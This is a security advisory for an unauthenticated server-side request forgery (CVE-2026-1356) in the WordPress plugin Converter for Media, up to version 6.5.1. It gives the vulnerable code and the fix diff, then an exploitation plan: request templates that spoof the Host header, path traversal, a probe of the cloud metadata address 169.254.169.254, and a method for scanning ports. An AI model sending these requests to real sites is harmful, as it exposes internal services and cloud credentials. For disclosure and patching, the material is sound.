Converter for Media – Optimize images | Convert WebP & AVIF <= 6.5.1 - Unauthenticated Server-Side Request Forgery via src
Description
The Converter for Media – Optimize images | Convert WebP & AVIF plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.5.1 via the PassthruLoader::load_image_source function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:NTechnical Details
<=6.5.1What Changed in the Fix
Changes introduced in v6.5.2
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-1356 ## 1. Vulnerability Summary The **Converter for Media** plugin is vulnerable to **Server-Side Request Forgery (SSRF)** via its "Pass Thru" image loading functionality. The vulnerability exists in `includes/passthru.php` (which is deployed as `wp-content/…
Show full research plan
Exploitation Research Plan - CVE-2026-1356
1. Vulnerability Summary
The Converter for Media plugin is vulnerable to Server-Side Request Forgery (SSRF) via its "Pass Thru" image loading functionality. The vulnerability exists in includes/passthru.php (which is deployed as wp-content/webpc-passthru.php).
The PassthruLoader class accepts a src parameter via GET, performs a weak validation on the host, and then uses curl to fetch the modified URL. Because the validation relies on $_SERVER['HTTP_HOST'] (which can be manipulated via the Host header) and only checks the host portion of the URL, an attacker can make the server perform requests to internal services or different ports on the same host.
2. Attack Vector Analysis
- Endpoint:
/wp-content/webpc-passthru.php(The location is derived from the parent of the uploads directory). - Vulnerable Parameter:
src(GET parameter). - Required Headers:
Accept: image/webporAccept: image/avif(to trigger thecurlpath inload_converted_image). - Authentication: Unauthenticated.
- Preconditions: The plugin must have the "Image loading mode" set to "Pass Thru" in settings. This action generates the
webpc-passthru.phpfile on the filesystem.
3. Code Flow
- Entry Point:
includes/passthru.php(deployed aswebpc-passthru.php). - Initialization: The
__construct()method captures$_GET['src']. - Validation:
validate_src_param($image_url)is called.- It extracts the host:
$image_host = parse_url($image_url, PHP_URL_HOST). - It compares it to the request host:
if ( $image_host !== ( $_SERVER['HTTP_HOST'] ?? '' ) ). - It checks if the extension is one of
['jpg', 'jpeg', 'png', 'gif', 'png2'].
- It extracts the host:
- Trigger:
load_converted_image($image_url)is called.- It checks the
Acceptheader againstMIME_TYPES.
- It checks the
- Sink:
load_image_source($image_url, $extension)is called.- It calls
generate_source_urlwhich replaces the upload directory path (e.g.,/wp-content/uploads) with the WebP path (e.g.,/wp-content/uploads-webpc). - It then executes
curl_exec($ch)on the resulting URL.
- It calls
4. Nonce Acquisition Strategy
No nonce is required.
The webpc-passthru.php file is a standalone script that does not load the WordPress environment (it only uses constants defined during its creation). It does not implement any WordPress nonce checks or capability checks.
5. Exploitation Strategy
Step 1: Force Generate the Loader
The loader file must exist. We can use WP-CLI to ensure the settings are correct and the loader is activated.
wp option update webpc_settings '{"loader":"passthru", "extensions":["jpg","jpeg","png","gif"], "output_formats":["webp"]}' --format=json
# Trigger the activation hook logic to write the file
wp eval "do_action('webpc_activate_loader');"
Step 2: Identify Internal Target
We will attempt to hit an internal service or a different port on the local machine (e.g., port 8080 if WP is on 80, or a known internal metadata service).
Step 3: Execute SSRF Request
To bypass the host check:
- Ensure the
Hostheader in our request matches the domain in thesrcparameter. - Use a URL in
srcthat ends in a valid extension but points to an internal resource.
Request Template:
- URL:
http://localhost:8000/wp-content/webpc-passthru.php?src=http://localhost:8000/internal-api/secret.jpg - Method:
GET - Headers:
Accept: image/webpHost: localhost:8000
Note on URL Transformation:generate_source_url will transform:http://localhost:8000/wp-content/uploads/test.jpg
intohttp://localhost:8000/wp-content/uploads-webpc/test.jpg.webp.
To reach an arbitrary path like /etc/passwd or an internal API, we can use path traversal in the src parameter:src=http://localhost:8000/wp-content/uploads/../../../../internal/api?ext=.jpg
6. Test Data Setup
- Plugin Activation: Ensure
webp-converter-for-mediais active. - Settings:
- Loading Mode:
passthru - Supported Formats:
webp
- Loading Mode:
- Verify File: Confirm
/var/www/html/wp-content/webpc-passthru.phpexists. - Mock Internal Service: (Optional) Create a file
secret-data.txtat the root of the site to simulate internal data.
7. Expected Results
- The server will receive the request for
webpc-passthru.php. - The
curlinstance on the server will make a request to the URL specified insrc. - If the internal resource returns content, and the
curlrequest is successful (HTTP 200), the plugin will echo the content of the internal resource back to the attacker.
8. Verification Steps
- Observe Response: The response body should contain the content of the targeted internal URL.
- Access Logs: Check the web server access logs to see the request originating from the server's own IP/localhost to the target specified in the SSRF.
tail -n 20 /var/log/apache2/access.log
9. Alternative Approaches
Host Header Injection
If the target server is behind a proxy that allows arbitrary Host headers, we can set:
Host: 169.254.169.254src: http://169.254.169.254/latest/meta-data/image.jpg
The host checkparse_url($src, HOST) === $_SERVER['HTTP_HOST']will pass because both are169.254.169.254.
Port Scanning
Iterate through ports on localhost:src=http://localhost:[PORT]/wp-content/uploads/test.jpg
If the port is open and returns a 200 (unlikely for random ports, but useful for internal services), the response will differ from a closed port (which returns 404 or null via load_image_source).
Summary
The Converter for Media plugin is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) via the Passthru image loading mode. Attackers can bypass host validation by manipulating the HTTP Host header or using path traversal in the 'src' parameter, allowing them to make requests to internal services or local network resources.
Vulnerable Code
// includes/passthru.php:51 private function validate_src_param( string $image_url ): bool { // ... $image_host = parse_url( $image_url, PHP_URL_HOST ); if ( $image_host !== ( $_SERVER['HTTP_HOST'] ?? '' ) ) { // phpcs:ignore WordPress.Security return false; } $image_extension = strtolower( pathinfo( $image_url, PATHINFO_EXTENSION ) ); if ( ! in_array( $image_extension, [ 'jpg', 'jpeg', 'png', 'gif', 'png2' ] ) ) { return false; } return true; } --- // includes/passthru.php:99 private function load_image_source( string $image_url, string $extension ) { $url = $this->generate_source_url( $image_url, $extension ); $ch = curl_init( $url ); if ( $ch === false ) { return null; } curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false ); curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, 0 ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); $response = curl_exec( $ch ); $code = curl_getinfo( $ch, CURLINFO_HTTP_CODE ); curl_close( $ch ); // ...
Security Fix
@@ -16,6 +16,7 @@ const PATH_UPLOADS = ''; const PATH_UPLOADS_WEBP = ''; const MIME_TYPES = ''; + const SITE_HOST = ''; public function __construct() { if ( ( self::PATH_UPLOADS === '' ) || ( self::PATH_UPLOADS_WEBP === '' ) || ( self::MIME_TYPES === '' ) ) { @@ -50,7 +51,7 @@ } $image_host = parse_url( $image_url, PHP_URL_HOST ); - if ( $image_host !== ( $_SERVER['HTTP_HOST'] ?? '' ) ) { // phpcs:ignore WordPress.Security + if ( $image_host !== self::SITE_HOST ) { return false; }
Exploit Outline
1. Identify the 'webpc-passthru.php' file location (typically in the parent directory of the WordPress uploads directory, often site root or wp-content). 2. Target an internal service or the local loopback (e.g., http://localhost:8080/internal-data.jpg). 3. Craft a GET request to 'webpc-passthru.php' with the 'src' parameter pointing to the target URL. 4. To bypass host validation, include an 'HTTP Host' header in the request that matches the host specified in the 'src' parameter (e.g., Host: localhost:8080). 5. Ensure the 'Accept' header includes 'image/webp' or 'image/avif' to trigger the curl-based passthru logic. 6. If the target resource exists and returns a 200 OK, the server will proxy the response content back to the attacker.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.